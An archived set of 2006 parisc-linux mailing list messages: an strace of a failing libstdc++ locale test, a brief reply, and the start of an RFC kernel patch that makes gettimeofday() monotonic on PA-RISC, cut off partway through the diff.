Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624237 21853 80.91.229.3 (22 Nov 2014 02:43:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: deller@gmx.de (Helge Deller)
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Dec 2006 22:42:11 -0000
Original-Received: from hiauly1.hia.nrc.ca (EHLO hiauly1.hia.nrc.ca) [132.246.100.193]
  by mx0.gmx.net (mx050) with SMTP; 20 Dec 2006 23:42:11 +0100
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id kBKMg93U022757;
	Wed, 20 Dec 2006 17:42:09 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id kBKMg8sD022756;
	Wed, 20 Dec 2006 17:42:08 -0500 (EST)
In-Reply-To: <200612202237.46357.deller@gmx.de> from "Helge Deller" at Dec 20, 2006 10:37:45 pm
X-Mailer: ELM [version 2.4 PL25]
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: K9HrEfR/bXBtTrqHPTQ2dNkqLyUmZYhe
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24162

> > FAIL: 22_locale/time_get/get_date/wchar_t/4.cc execution test
> > 
> > which may be a kernel problem since the fail doesn't occur using
> > a 64-bit kernel.  The test also doesn't fail under hpux, so it's
> > not likely a compilation issue.  The problem is in setting a
> > date/time string.  Might have something to do with locale functions.
> 
> Can you provide an strace ?

Don't see anything that's obvious.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

execve("./4.xg", ["./4.xg"], [/* 18 vars */]) = 0
newuname({sys="Linux", node="hiauly6", ...}) = 0
brk(0)                                  = 0x13000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40000000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("PARISC/libstdc++.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
open("libstdc++.so.6", O_RDONLY)        = -1 ENOENT (No such file or directory)
open("/home/dave/gnu/gcc-4.2/objdir/gcc/PARISC/libstdc++.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/home/dave/gnu/gcc-4.2/objdir/gcc/PARISC", 0xc01ce5c8) = -1 ENOENT (No such file or directory)
open("/home/dave/gnu/gcc-4.2/objdir/gcc/libstdc++.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/home/dave/gnu/gcc-4.2/objdir/gcc", {st_mode=0, st_size=4303557231594, ...}) = 0
open("/home/dave/gnu/gcc-4.2/objdir/hppa-linux/./libstdc++-v3/src/.libs/PARISC/libstdc++.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/home/dave/gnu/gcc-4.2/objdir/hppa-linux/./libstdc++-v3/src/.libs/PARISC", 0xc01ce5c8) = -1 ENOENT (No such file or directory)
open("/home/dave/gnu/gcc-4.2/objdir/hppa-linux/./libstdc++-v3/src/.libs/libstdc++.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\4.\360"..., 512) = 512
fstat64(3, {st_mode=0, st_size=4303557231594, ...}) = 0
mmap(NULL, 1081212, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x402a3000
mmap(0x4039e000, 32768, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0xfa000) = 0x4039e000
mmap(0x403a6000, 20348, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x403a6000
close(3)                                = 0
open("PARISC/libm.so.6", O_RDONLY)      = -1 ENOENT (No such file or directory)
open("libm.so.6", O_RDONLY)             = -1 ENOENT (No such file or directory)
open("/home/dave/gnu/gcc-4.2/objdir/gcc/libm.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/home/dave/gnu/gcc-4.2/objdir/hppa-linux/./libstdc++-v3/src/.libs/libm.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/home/dave/gnu/gcc-4.2/objdir/hppa-linux/libstdc++-v3/.libs/PARISC/libm.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/home/dave/gnu/gcc-4.2/objdir/hppa-linux/libstdc++-v3/.libs/PARISC", 0xc01ce608) = -1 ENOENT (No such file or directory)
open("/home/dave/gnu/gcc-4.2/objdir/hppa-linux/libstdc++-v3/.libs/libm.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/home/dave/gnu/gcc-4.2/objdir/hppa-linux/libstdc++-v3/.libs", 0xc01ce608) = -1 ENOENT (No such file or directory)
open("/home/dave/gnu/gcc-4.2/objdir/hppa-linux/libmudflap/.libs/PARISC/libm.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/home/dave/gnu/gcc-4.2/objdir/hppa-linux/libmudflap/.libs/PARISC", 0xc01ce608) = -1 ENOENT (No such file or directory)
open("/home/dave/gnu/gcc-4.2/objdir/hppa-linux/libmudflap/.libs/libm.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/home/dave/gnu/gcc-4.2/objdir/hppa-linux/libmudflap/.libs", {st_mode=0, st_size=4303557231594, ...}) = 0
open("/home/dave/gnu/gcc-4.2/objdir/hppa-linux/libssp/.libs/PARISC/libm.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/home/dave/gnu/gcc-4.2/objdir/hppa-linux/libssp/.libs/PARISC", 0xc01ce608) = -1 ENOENT (No such file or directory)
open("/home/dave/gnu/gcc-4.2/objdir/hppa-linux/libssp/.libs/libm.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/home/dave/gnu/gcc-4.2/objdir/hppa-linux/libssp/.libs", {st_mode=0, st_size=4303557231594, ...}) = 0
open("/home/dave/gnu/gcc-4.2/objdir/hppa-linux/libgomp/.libs/PARISC/libm.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/home/dave/gnu/gcc-4.2/objdir/hppa-linux/libgomp/.libs/PARISC", 0xc01ce608) = -1 ENOENT (No such file or directory)
open("/home/dave/gnu/gcc-4.2/objdir/hppa-linux/libgomp/.libs/libm.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/home/dave/gnu/gcc-4.2/objdir/hppa-linux/libgomp/.libs", {st_mode=0, st_size=4303557231594, ...}) = 0
open("/home/dave/gnu/gcc-4.2/objdir/./gcc/PARISC/libm.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/home/dave/gnu/gcc-4.2/objdir/./gcc/PARISC", 0xc01ce608) = -1 ENOENT (No such file or directory)
open("/home/dave/gnu/gcc-4.2/objdir/./gcc/libm.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/home/dave/gnu/gcc-4.2/objdir/./gcc", {st_mode=0, st_size=4303557231594, ...}) = 0
open("/home/dave/gnu/gcc-4.2/objdir/./prev-gcc/PARISC/libm.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/home/dave/gnu/gcc-4.2/objdir/./prev-gcc/PARISC", 0xc01ce608) = -1 ENOENT (No such file or directory)
open("/home/dave/gnu/gcc-4.2/objdir/./prev-gcc/libm.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/home/dave/gnu/gcc-4.2/objdir/./prev-gcc", {st_mode=0, st_size=4303557231594, ...}) = 0
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 83644, PROT_READ, MAP_PRIVATE, 3, 0) = 0x403da000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libm.so.6", O_RDONLY)        = 3
read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\0\226"..., 512) = 512
fstat64(3, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40001000
mmap(NULL, 573884, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x40031000
mprotect(0x400ab000, 74172, PROT_NONE)  = 0
mmap(0x400ba000, 16384, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x79000) = 0x400ba000
close(3)                                = 0
open("PARISC/libgcc_s.so.4", O_RDONLY)  = -1 ENOENT (No such file or directory)
open("libgcc_s.so.4", O_RDONLY)         = -1 ENOENT (No such file or directory)
open("/home/dave/gnu/gcc-4.2/objdir/gcc/libgcc_s.so.4", O_RDONLY) = 3
read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\0\27"..., 512) = 512
fstat64(3, {st_mode=0, st_size=4303557231594, ...}) = 0
mmap(NULL, 64160, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x406ae000
mmap(0x406bd000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0xe000) = 0x406bd000
close(3)                                = 0
open("PARISC/libc.so.6", O_RDONLY)      = -1 ENOENT (No such file or directory)
open("libc.so.6", O_RDONLY)             = -1 ENOENT (No such file or directory)
open("/home/dave/gnu/gcc-4.2/objdir/gcc/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/home/dave/gnu/gcc-4.2/objdir/hppa-linux/./libstdc++-v3/src/.libs/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/home/dave/gnu/gcc-4.2/objdir/hppa-linux/libmudflap/.libs/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/home/dave/gnu/gcc-4.2/objdir/hppa-linux/libssp/.libs/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/home/dave/gnu/gcc-4.2/objdir/hppa-linux/libgomp/.libs/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/home/dave/gnu/gcc-4.2/objdir/./gcc/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/home/dave/gnu/gcc-4.2/objdir/./prev-gcc/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libc.so.6", O_RDONLY)        = 3
read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\1\364"..., 512) = 512
fstat64(3, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 1364696, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x40a63000
mprotect(0x40b93000, 119512, PROT_NONE) = 0
mmap(0x40ba2000, 53248, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x12f000) = 0x40ba2000
mmap(0x40baf000, 4824, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40baf000
close(3)                                = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40002000
mmap(NULL, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40004000
munmap(0x403da000, 83644)               = 0
brk(0)                                  = 0x13000
brk(0x34000)                            = 0x34000
open("/usr/lib/locale/locale-archive", O_RDONLY|O_LARGEFILE) = 3
fstat64(3, {st_mode=0, st_size=0, ...}) = 0
mmap2(NULL, 2097152, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40dd5000
mmap2(NULL, 835584, PROT_READ, MAP_PRIVATE, 3, 0x3116) = 0x405d5000
close(3)                                = 0
open("/usr/lib/gconv/gconv-modules.cache", O_RDONLY) = 3
fstat64(3, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 21568, PROT_READ, MAP_SHARED, 3, 0) = 0x40752000
close(3)                                = 0
open("/usr/lib/gconv/BIG5.so", O_RDONLY) = 3
read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\0\10"..., 512) = 512
fstat64(3, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 149404, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x401db000
mprotect(0x401f0000, 63388, PROT_NONE)  = 0
mmap(0x401ff000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x14000) = 0x401ff000
close(3)                                = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40008000
write(2, "4.xg: /home/dave/gnu/gcc-4.2/gcc"..., 1674.xg: /home/dave/gnu/gcc-4.2/gcc/libstdc++-v3/testsuite/22_locale/time_get/get_date/wchar_t/4.cc:55: void test01(): Assertion `errorstate == ios_base::eofbit' failed.
) = 167
rt_sigprocmask(SIG_UNBLOCK, [ABRT], NULL, 8) = 0
getpid()                                = 16763
kill(16763, SIGABRT)                    = 0
--- SIGABRT (Aborted) @ 0 (0) ---
+++ killed by SIGABRT (core dumped) +++
Process 16763 detached



From - Thu Nov 08 21:35:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] killing a set of user processes causes system
Date: Thu, 21 Dec 2006 02:10:19 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <200612210210.19708.deller__4345.86237320236$1416624237$gmane$org@gmx.de>
References: <200612202242.kBKMg8sD022756@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624237 21860 80.91.229.3 (22 Nov 2014 02:43:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Dec 2006 01:10:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx069) with SMTP; 21 Dec 2006 02:10:32 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B20E07D863;
	Wed, 20 Dec 2006 18:10:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30783-10; Wed, 20 Dec 2006 18:10:29 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EB5BF7D867;
	Wed, 20 Dec 2006 18:10:26 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B61C27D842
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Dec 2006 18:10:24 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30783-06 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Dec 2006 18:10:23 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id B77A77D7E8
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Dec 2006 18:10:22 -0700 (MST)
Original-Received: (qmail invoked by alias); 21 Dec 2006 01:10:21 -0000
Original-Received: from mnhm-590c204a.pool.einsundeins.de (EHLO p100.box) [89.12.32.74]
	by mail.gmx.net (mp042) with SMTP; 21 Dec 2006 02:10:21 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.5
In-Reply-To: <200612202242.kBKMg8sD022756@hiauly1.hia.nrc.ca>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Z7LrEfZ/bXBtTrqHPTQ27ggqLyUmZYhq
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24163

On Wednesday 20 December 2006 23:42, John David Anglin wrote:
> > > FAIL: 22_locale/time_get/get_date/wchar_t/4.cc execution test
> > > 
> > > which may be a kernel problem since the fail doesn't occur using
> > > a 64-bit kernel.  The test also doesn't fail under hpux, so it's
> > > not likely a compilation issue.  The problem is in setting a
> > > date/time string.  Might have something to do with locale functions.
> > 
> > Can you provide an strace ?
>     ..[many lines of strace stripped]....
> 
> Don't see anything that's obvious.

Me neither.

Helge

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [RFC] [PATCH] fix gettimeofday() on parisc to be
	monotonic
Date: Thu, 21 Dec 2006 04:50:55 +0100
Lines: 324
Approved: news@gmane.org
Message-ID: <200612210450.55640.deller__30147.95094864$1416624238$gmane$org@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624238 21868 80.91.229.3 (22 Nov 2014 02:43:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Dec 2006 03:52:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx079) with SMTP; 21 Dec 2006 04:52:34 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EB79C7D8B1;
	Wed, 20 Dec 2006 20:52:30 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31889-09; Wed, 20 Dec 2006 20:52:30 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8AE3E7D8B2;
	Wed, 20 Dec 2006 20:52:28 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 05D957D8A8
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Dec 2006 20:52:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31850-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Dec 2006 20:52:24 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id AC53D7D7EE
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Dec 2006 20:52:23 -0700 (MST)
Original-Received: (qmail invoked by alias); 21 Dec 2006 03:52:22 -0000
Original-Received: from mnhm-590c0bef.pool.einsundeins.de (EHLO p100.box) [89.12.11.239]
	by mail.gmx.net (mp038) with SMTP; 21 Dec 2006 04:52:22 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.5
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Z2zvBN8rfW4oTuWveGVoXRhmdmllckXC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24164

I would like to get your feedback on the attached patch.

While testing the Linux Test Project gettimeofday02 testcase, I found that our gettimeofday() implementation is not monotonic.
I know there was much work on gettimeofday() a few monthes back, but still we have problems.
Just try this stripped-down testcase yourself:

/*
 *      based on gettimeofday02.c  from LTP
 * DESCRIPTION
 *      Check if gettimeofday is monotonous
 *
 * ALGORITHM
 *      Call gettimeofday() to get a t1 (fist value)
 *      call it again to get t2, see if t2 < t1, set t2 = t1, repeat 
 */

#include <stdio.h>
#include <sys/time.h>

int main(int ac, char **av)
{
        struct timeval tv1,tv2;

        fprintf(stderr, "Start of test....\n");
        gettimeofday(&tv1,NULL);
        while (1) {
                gettimeofday(&tv2,NULL);
                if (    (tv2.tv_usec < tv1.tv_usec) &&
                        (tv2.tv_sec <= tv1.tv_sec)
                        ) {
                        fprintf(stderr,"Time is going backwards (old %d.%d vs new %d.%d!)\n",tv1.tv_sec,tv1.tv_usec,tv2.tv_sec,tv2.tv_usec);
                        return(1);
                }
                tv1=tv2;
        }
        return 0;
}


The patch below fixes this nicely for PARISC-Linux, while it removes our own implementation and uses the existing CONFIG_TIME_INTERPOLATION framework.
AFAICS up to now it's only used by IA64 and SPARC64.

The things where I wanted to get your feedback on is, that on a 32bit HPPA Kernel we don't allow cmpxchg() with a 8-byte variable, which is used in the generic code in kernel/timer.c line 1674.
To make my implementation work, I changed some "u64" variables/struct members in the "struct time_interpolator" in include/linux/timex.h  to "cycles_t" instead.
"cycles_t" is defined in include/asm/timex.h mostly as "unsigned long", which is what the default platform width is (e.g. 64bit on 64bit platforms) and get_cycles() is exactly the input-value for the time interpolation framework.
As such I think it just makes sense to use this type as well all over the code.
For PARISC this chage gives 8bytes on HPPA64 and 4bytes on HPPA32, and so we can use the current implementation with the cmpxchg() in kernel/timer.c.

What do you think ?
Will this be acceptable by Linus/others ?
It works on my 32bit hppa.

Patch is here:

diffstat:
 arch/parisc/Kconfig       |    4 +
 arch/parisc/kernel/time.c |  151 ++++++++++------------------------------------
 include/linux/timex.h     |    8 +-
 kernel/timer.c            |   10 +--
 4 files changed, 47 insertions(+), 126 deletions(-)


diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 848a67a..e85c931 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -50,6 +50,10 @@ config GENERIC_CALIBRATE_DELAY
 	bool
 	default y
 
+config TIME_INTERPOLATION
+	bool
+	default y
+
 config TIME_LOW_RES
 	bool
 	depends on SMP
diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index bad7d1e..56a246b 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -34,6 +34,27 @@
 
 static unsigned long clocktick __read_mostly;	/* timer cycles per tick */
 
+static struct time_interpolator mfctl16_interpolator = {
+	.shift = 16,
+	.mask = 0UL-1,
+	.source = TIME_SOURCE_CPU
+};
+
+
+static int nojitter;
+
+static int __init nojitter_setup(char *str)
+{
+	nojitter = 1;
+	printk("Jitter checking for ctl16 timers disabled\n");
+	return 1;
+}
+
+__setup("nojitter", nojitter_setup);
+
+
+
+
 /*
  * We keep time on PA-RISC Linux by using the Interval Timer which is
  * a pair of registers; one is read-only and one is write-only; both
@@ -172,121 +193,6 @@ unsigned long profile_pc(struct pt_regs 
 EXPORT_SYMBOL(profile_pc);
 
 
-/*
- * Return the number of micro-seconds that elapsed since the last
- * update to wall time (aka xtime).  The xtime_lock
- * must be at least read-locked when calling this routine.
- */
-static inline unsigned long gettimeoffset (void)
-{
-#ifndef CONFIG_SMP
-	/*
-	 * FIXME: This won't work on smp because jiffies are updated by cpu 0.
-	 *    Once parisc-linux learns the cr16 difference between processors,
-	 *    this could be made to work.
-	 */
-	unsigned long now;
-	unsigned long prev_tick;
-	unsigned long next_tick;
-	unsigned long elapsed_cycles;
-	unsigned long usec;
-	unsigned long cpuid = smp_processor_id();
-	unsigned long cpt = clocktick;
-
-	next_tick = cpu_data[cpuid].it_value;
-	now = mfctl(16);	/* Read the hardware interval timer.  */
-
